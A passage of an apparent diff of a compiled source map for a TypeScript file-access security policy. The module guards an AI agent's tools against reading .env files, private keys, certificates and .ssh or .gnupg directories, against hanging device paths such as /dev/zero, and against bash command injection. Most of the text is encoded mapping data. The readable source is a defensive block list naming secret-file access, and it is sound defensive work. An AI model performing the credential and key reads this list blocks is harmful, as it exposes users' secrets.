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"}
1
+ {"version":3,"file":"file-policy.js","sourceRoot":"","sources":["../../src/security/file-policy.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * 文件访问安全策略\n *\n * 防止 AI Agent 读写敏感文件(如 .env、密钥、证书等),\n * 并将 bash/grep/glob 等工具的命令注入风险降到最低。\n *\n * 四层防御:\n * 1. 设备路径阻止 — 阻止 /dev/zero, /dev/stdin 等挂起进程的设备文件\n * 2. 敏感文件名/路径模式 — 阻止 .env、私钥、证书等\n * 3. 敏感目录 — 阻止 .ssh, .gnupg 等\n * 4. bash 安全分类 — 环境变量泄漏 + 命令读写分类\n */\n\nimport * as path from 'node:path';\nimport * as os from 'node:os';\n\n// ── 设备路径阻止──────────────\n\n/**\n * 会导致进程挂起的设备文件路径。\n * 检查纯路径即可(无 I/O),安全设备如 /dev/null 不在此列。\n */\nconst BLOCKED_DEVICE_PATHS: ReadonlySet<string> = new Set([\n // 无限输出 — 永远无法 EOF\n '/dev/zero',\n '/dev/random',\n '/dev/urandom',\n '/dev/full',\n // 阻塞等待输入\n '/dev/stdin',\n '/dev/tty',\n '/dev/console',\n // 